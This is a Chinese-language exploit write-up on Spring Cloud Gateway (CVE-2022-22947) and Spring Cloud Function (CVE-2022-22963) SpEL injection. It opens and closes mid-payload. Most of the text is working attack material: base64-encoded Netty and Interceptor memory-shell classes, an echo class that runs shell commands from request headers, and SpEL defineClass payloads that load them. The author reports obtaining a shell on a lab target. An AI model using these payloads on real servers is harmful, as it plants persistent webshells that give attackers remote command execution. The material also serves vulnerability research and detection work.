ZXIBACJMcmVhY3Rvci9uZXR0eS9Db25uZWN0aW9uT2JzZXJ2ZXI7AQAHY2hhbm5lbAEAGkxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7AQANc29ja2V0QWRkcmVzcwEAGExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOwEACHBpcGVsaW5lAQAiTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAEE1ldGhvZFBhcmFtZXRlcnMBAAtjaGFubmVsUmVhZAEAPShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9PYmplY3Q7KVYBAANjbWQBAApleGVjUmVzdWx0AQALaHR0cFJlcXVlc3QBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXF1ZXN0OwEAA2N0eAEAKExpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyQ29udGV4dDsHAKEBAApFeGNlcHRpb25zAQAEc2VuZAEAbShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9TdHJpbmc7TGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7KVYBAAdjb250ZXh0AQAGc3RhdHVzAQAwTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7AQAIcmVzcG9uc2UBAC5MaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0Z1bGxIdHRwUmVzcG9uc2U7AQAKU291cmNlRmlsZQEAEk5ldHR5TWVtc2hlbGwuamF2YQwARABFAQAMaW5qZWN0LXN0YXJ0AQAQamF2YS9sYW5nL1RocmVhZAEAD2phdmEvbGFuZy9DbGFzcwwAzwDQBwDODADRANIBABBqYXZhL2xhbmcvT2JqZWN0DADTANQHANUMANYA1wwA2ADZDADaANsMANwATAEADk5ldHR5V2ViU2VydmVyDADdAN4MAN8A4AcA4QwA2ADiDADjANsBAA9kb09uQ2hhbm5lbEluaXQBAA1OZXR0eU1lbXNoZWxsDADkAOUBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IHAOYMAGsA5wEAH3JlYWN0b3IubGVmdC5odHRwVHJhZmZpY0hhbmRsZXIBABBtZW1zaGVsbF9oYW5kbGVyBwDoDADpAOoBACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlcXVlc3QMAOsA7AEABVgtQ01EBwDtDADdAO4MANgA7wEAEWphdmEvdXRpbC9TY2FubmVyBwDwDADxAPIBABBqYXZhL2xhbmcvU3RyaW5nAQACL2MMAPMA9AcA9QwA9gD3AQADR0JLDABEAPgBAAJcQQwA+QD6DAD7AEwHAPwMAP0AfAwAeAB5DAD+AEUHAP8MAQABAQEAM2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9EZWZhdWx0RnVsbEh0dHBSZXNwb25zZQcBAgwBAwEEBwEFDAEGAQcHAQgMAQkBCgwARAELBwEMBwENDAEOAQ8BABl0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04DADkARAMAREBEgcBEwwBFAEVBwEWDAEXARgBACVpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxEdXBsZXhIYW5kbGVyAQAncmVhY3Rvci9uZXR0eS9DaGFubmVsUGlwZWxpbmVDb25maWd1cmVyAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABdqYXZhL2xhbmcvcmVmbGVjdC9BcnJheQEACWdldExlbmd0aAEAFShMamF2YS9sYW5nL09iamVjdDspSQEAA2dldAEAJyhMamF2YS9sYW5nL09iamVjdDtJKUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAB2dldE5hbWUBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANZ2V0U3VwZXJjbGFzcwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAGGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbAEAJCgpTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAIGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lAQAJYWRkQmVmb3JlAQBpKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsUGlwZWxpbmU7AQAHaGVhZGVycwEAKygpTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyczsBACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnMBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEALmlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXMBAAJPSwEAD3ByaW50U3RhY2tUcmFjZQEAJmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXJDb250ZXh0AQAPZmlyZUNoYW5uZWxSZWFkAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uAQAISFRUUF8xXzEBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uOwEAGWlvL25ldHR5L3V0aWwvQ2hhcnNldFV0aWwBAAVVVEZfOAEAGkxqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7AQAYaW8vbmV0dHkvYnVmZmVyL1VucG9vbGVkAQAMY29waWVkQnVmZmVyAQBNKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7KUxpby9uZXR0eS9idWZmZXIvQnl0ZUJ1ZjsBAHUoTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwVmVyc2lvbjtMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXNwb25zZVN0YXR1cztMaW8vbmV0dHkvYnVmZmVyL0J5dGVCdWY7KVYBACxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvRnVsbEh0dHBSZXNwb25zZQEAK2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyTmFtZXMBAAxDT05URU5UX1RZUEUBABtMaW8vbmV0dHkvdXRpbC9Bc2NpaVN0cmluZzsBAFUoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9PYmplY3Q7KUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQANd3JpdGVBbmRGbHVzaAEANChMamF2YS9sYW5nL09iamVjdDspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZTsBACZpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxGdXR1cmVMaXN0ZW5lcgEABUNMT1NFAQAoTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZUxpc3RlbmVyOwEAHmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZQEAC2FkZExpc3RlbmVyAQBSKExpby9uZXR0eS91dGlsL2NvbmN1cnJlbnQvR2VuZXJpY0Z1dHVyZUxpc3RlbmVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlOwAhABcAQgABAEMAAAAFAAEARABFAAEARgAAAC8AAQABAAAABSq3AAGxAAAAAgBHAAAABgABAAAADgBIAAAADAABAAAABQBJAEoAAAAJAEsATAABAEYAAAHDAAQACgAAALUSAksSAxIEA70ABbYABkwrBLYABysBA70ACLYACU0DPh0suAAKogCHLB24AAs6BBkExgB1GQS2AAy2AA0SDrYAD5kAZRkEtgAMEhC2ABE6BRkFBLYAEhkFGQS2ABM6BhkGtgAMtgAUEhW2ABE6BxkHBLYAEhkHGQa2ABM6CBkItgAMtgAUtgAUEha2ABE6CRkJBLYAEhkJGQi7ABdZtwAYtgAZEhpLhAMBp/93pwAHTBIcSyqwAAEAAwCsAK8AGwADAEcAAABaABYAAAAQAAMAEgAPABMAFAAUAB4AFgAoABcALwAYAEQAGQBQABoAVgAbAF8AHABuAB0AdAAeAH0AHwCPACAAlQAhAKMAIgCmABYArAAnAK8AJQCwACYAswAoAEgAAABwAAsAUABWAE0ATgAFAF8ARwBPAFAABgBuADgAUQBOAAcAfQApAFIAUAAIAI8AFwBTAE4ACQAvAHcAVABQAAQAIACMAFUAVgADAA8AnQBXAFgAAQAeAI4AWQBQAAIAsAADAFoAWwABAAMAsgBcAF0AAABeAAAAHgAF/wAgAAQHAF8HAGAHAGEBAAD7AIX4AAVCBwBiAwABAGMAZAACAEYAAAB2AAUABQAAABwsuQAdAQA6BBkEEh4SH7sAF1m3ABi5ACAEAFexAAAAAgBHAAAADgADAAAALgAIADAAGwAxAEgAAAA0AAUAAAAcAEkASgAAAAAAHABlAGYAAQAAABwAZwBoAAIAAAAcAGkAagADAAgAFABrAGwABABtAAAADQMAZQAAAGcAAABpAAAAAQBuAG8AAwBGAAABIwAHAAYAAAB0LMEAIZkAZyzAACFOLbkAIgEAEiO2ACSZAEotuQAiAQASI7YAJToEuwAmWbgAJwa9AChZAxIpU1kEEipTWQUZBFO2ACu2ACwSLbcALhIvtgAwtgAxOgUqKxkFsgAytwAzsacACjoEGQS2ADQrLLkANQIAV7EAAQAMAGAAZAAbAAMARwAAADIADAAAADcABwA4AAwAOgAaADsAJwA8AFYAPgBgAD8AYQBDAGQAQQBmAEIAawBFAHMARgBIAAAASAAHACcAOgBwAF0ABABWAAsAcQBdAAUAZgAFAFoAWwAEAAwAXwByAHMAAwAAAHQASQBKAAAAAAB0AHQAdQABAAAAdABcAFAAAgBeAAAADwAD/ABhBwB2QgcAYvoABgB3AAAABAABABsAbQAAAAkCAHQAAABcAAAAAgB4AHkAAgBGAAAAlAAGAAUAAAA2uwA2WbIANy0ssgA4uAA5twA6OgQZBLkAOwEAsgA8Ej22AD5XKxkEuQA/AgCyAEC5AEECAFexAAAAAgBHAAAAEgAEAAAASgAUAEsAJABMADUATQBIAAAANAAFAAAANgBJAEoAAAAAADYAdAB1AAEAAAA2AHoAXQACAAAANgB7AHwAAwAUACIAfQB+AAQAbQAAAA0DAHQAAAB6AAAAewAAAAEAfwAAAAIAgA=='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "http://example.com"
}

参考:
Spring cloud gateway通过SPEL注入内存马
CVE-2022-22947 SpringCloud GateWay SPEL RCE Echo Response
CVE-2022-22947 SpringCloud GateWay SpEL RCE
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

CVE-2022-22963 SpringCloud Function SpEL

由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的spring.cloud.function.routing-expression参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码

影响范围:
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
不影响版本:
3.1.7、3.2.3

漏洞复现

使用idea新建Spring Cloud Function项目,pom.xml如下:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>demo</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>1.8</java.version>
        <spring-cloud.version>2021.0.4</spring-cloud.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-function-web</artifactId>
            <version>3.2.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-function-context</artifactId>
            <version>3.2.0</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>
    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.cloud</groupId>
                <artifactId>spring-cloud-dependencies</artifactId>
                <version>${spring-cloud.version}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

使用特定的路由/functionRouter
在header处加入payload,成功弹出计算器

但是如果不出网,要怎么办呢,答案是回显,直接掏出spring的回显

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
    static {
        try {
            Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
            Method m = c.getMethod("getRequestAttributes");
            Object o = m.invoke(null);
            c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
            m = c.getMethod("getResponse");
            Method m1 = c.getMethod("getRequest");
            Object resp = m.invoke(o);
            Object req = m1.invoke(o); // HttpServletRequest
            Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
            Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
            getHeader.setAccessible(true);
            getWriter.setAccessible(true);
            Object writer = getWriter.invoke(resp);
            String cmd = (String)getHeader.invoke(req, "cmd");
            String[] commands = new String[3];
            String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
            if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
                commands[0] = "cmd";
                commands[1] = "/c";
            } else {
                commands[0] = "/bin/sh";
                commands[1] = "-c";
            }
            commands[2] = cmd;
            writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
            writer.getClass().getDeclaredMethod("flush").invoke(writer);
            writer.getClass().getDeclaredMethod("close").invoke(writer);
        } catch (Exception e) {

        }

    }
}

使用defineClass方法加载字节码

T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringEcho',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAqgoACQBSCgBTAFQKAFMAVQgAVgoAVwBYCABZBwBaCgAHAFsHAFwKAF0AXggAXwgAYAgAYQgAYggAQQoABwBjCABkCABCBwBlCgBdAGYIAEQIAGcKAGgAaQoAEwBqCABrCgATAGwIAG0IAG4KABMAbwgAcAgAcQgAcggAcwoACQB0CAB1BwB2CgB3AHgKAHcAeQoAegB7CgAkAHwIAH0KACQAfgoAJAB/CACACACBBwCCBwCDAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAxMU3ByaW5nRWNobzsBAAg8Y2xpbml0PgEAAWMBABFMamF2YS9sYW5nL0NsYXNzOwEAAW0BABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAW8BABJMamF2YS9sYW5nL09iamVjdDsBAAJtMQEABHJlc3ABAANyZXEBAAlnZXRXcml0ZXIBAAlnZXRIZWFkZXIBAAZ3cml0ZXIBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAhjb21tYW5kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAtjaGFyc2V0TmFtZQEADVN0YWNrTWFwVGFibGUHAFoHAIQHAFwHAGUHAEcHAIIBAApTb3VyY2VGaWxlAQAPU3ByaW5nRWNoby5qYXZhDAAwADEHAIUMAIYAhwwAiACJAQA8b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlJlcXVlc3RDb250ZXh0SG9sZGVyBwCKDACLAIwBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwEAD2phdmEvbGFuZy9DbGFzcwwAjQCOAQAQamF2YS9sYW5nL09iamVjdAcAhAwAjwCQAQBAb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlNlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwEAC2dldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAHWphdmF4LnNlcnZsZXQuU2VydmxldFJlc3BvbnNlDACRAI4BACVqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0AQAQamF2YS9sYW5nL1N0cmluZwwAkgCTAQAHb3MubmFtZQcAlAwAlQCWDACXAJgBAAZ3aW5kb3cMAJkAmgEAA0dCSwEABVVURi04DACbAJgBAANXSU4BAAIvYwEABy9iaW4vc2gBAAItYwwAnACdAQAHcHJpbnRsbgEAEWphdmEvdXRpbC9TY2FubmVyBwCeDACfAKAMAKEAogcAowwApAClDAAwAKYBAAJcQQwApwCoDACpAJgBAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAClNwcmluZ0VjaG8BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RGVjbGFyZWRNZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQALdG9VcHBlckNhc2UBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQAIQAvAAkAAAAAAAIAAQAwADEAAQAyAAAALwABAAEAAAAFKrcAAbEAAAACADMAAAAGAAEAAAAEADQAAAAMAAEAAAAFADUANgAAAAgANwAxAAEAMgAAAssACQAMAAABebgAArYAAxIEtgAFSyoSBgO9AAe2AAhMKwEDvQAJtgAKTbgAArYAAxILtgAFSyoSDAO9AAe2AAhMKhINA70AB7YACE4rLAO9AAm2AAo6BC0sA70ACbYACjoFuAACtgADEg62AAUSDwO9AAe2ABA6BrgAArYAAxIRtgAFEhIEvQAHWQMSE1O2ABA6BxkHBLYAFBkGBLYAFBkGGQQDvQAJtgAKOggZBxkFBL0ACVkDEhVTtgAKwAATOgkGvQATOgoSFrgAF7YAGBIZtgAamQAIEhunAAUSHDoLEha4ABe2AB0SHrYAGpkAEhkKAxIVUxkKBBIfU6cADxkKAxIgUxkKBBIhUxkKBRkJUxkItgAiEiMEvQAHWQMSE1O2ABAZCAS9AAlZA7sAJFm4ACUZCrYAJrYAJxkLtwAoEim2ACq2ACtTtgAKVxkItgAiEiwDvQAHtgAQGQgDvQAJtgAKVxkItgAiEi0DvQAHtgAQGQgDvQAJtgAKV6cABEuxAAEAAAF0AXcALgADADMAAAByABwAAAAHAAwACAAXAAkAIQAKAC0ACwA4AAwAQwANAE4ADgBZAA8AbwAQAIoAEQCQABIAlgATAKMAFAC4ABUAvgAWANcAFwDnABgA7QAZAPYAGwD8ABwBAgAeAQgAHwFEACABXAAhAXQAJAF3ACIBeAAmADQAAAB6AAwADAFoADgAOQAAABcBXQA6ADsAAQAhAVMAPAA9AAIAQwExAD4AOwADAE4BJgA/AD0ABABZARsAQAA9AAUAbwEFAEEAOwAGAIoA6gBCADsABwCjANEAQwA9AAgAuAC8AEQARQAJAL4AtgBGAEcACgDXAJ0ASABFAAsASQAAAEAABv8A0wALBwBKBwBLBwBMBwBLBwBMBwBMBwBLBwBLBwBMBwBNBwBOAABBBwBN/AAgBwBNC/8AdAAAAAEHAE8AAAEAUAAAAAIAUQ=='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()))

那么能不能写入spring内存马呢,试一下Interceptor内存马,发现也是可以的

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.lang.Nullable;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Scanner;

public class InjectToInterceptor extends AbstractTranslet implements HandlerInterceptor {
    static{
        try {
            //获得context
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            //获取 adaptedInterceptors 属性值
            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping");
            java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
            InjectToInterceptor aaa = new InjectToInterceptor();
            adaptedInterceptors.add(aaa);
        }catch (Exception e){}
    }
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                java.io.PrintWriter writer = response.getWriter();
                ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
                } else {
                    p = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});
                }
                p.redirectErrorStream(true);
                Process process = p.start();
                Scanner s = new Scanner(process.getInputStream());
                String result = s.useDelimiter("\\A").hasNext() ? s.next() : "";
                writer.println(result);
                writer.flush();
                writer.close();
            } catch (Exception e) {
            }
        }
        return true;
    }
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable ModelAndView modelAndView) throws Exception {
        HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
    }

    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable Exception ex) throws Exception {
        HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

}

测试一下vulfocus的靶机,注意要post传一个数,成功获取shell

T(org.springframework.cglib.core.ReflectUtils).defineClass('InjectToInterceptor',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQA5QoAMAB7CABLCwB8AH0LAH4AfwgAgAoAgQCCCgALAIMIAIQKAAsAhQcAhgcAhwgAiAgAiQoACgCKCACLCACMCgAKAI0KAAoAjgcAjwoAkACRCgATAJIIAJMKABMAlAoAEwCVCgATAJYIAJcKAJgAmQoAmACaCgCYAJsHAJwLADEAnQsAMQCeCgCfAKAIAKELAKIAowcApAgApQsAJACmBwCnCAB0CgCoAKkKAKoAqwoAqgCsBwCtBwCuCgAtAHsKACwArwcAsAcAsQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAVTEluamVjdFRvSW50ZXJjZXB0b3I7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABndyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAIcHALIHAIYHALMHAI8HAK4HALQHALUHALYHAJwBAApFeGNlcHRpb25zAQAKcG9zdEhhbmRsZQEAkihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OylWAQAMbW9kZWxBbmRWaWV3AQAuTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvTW9kZWxBbmRWaWV3OwEAIlJ1bnRpbWVWaXNpYmxlUGFyYW1ldGVyQW5ub3RhdGlvbnMBACNMb3JnL3NwcmluZ2ZyYW1ld29yay9sYW5nL051bG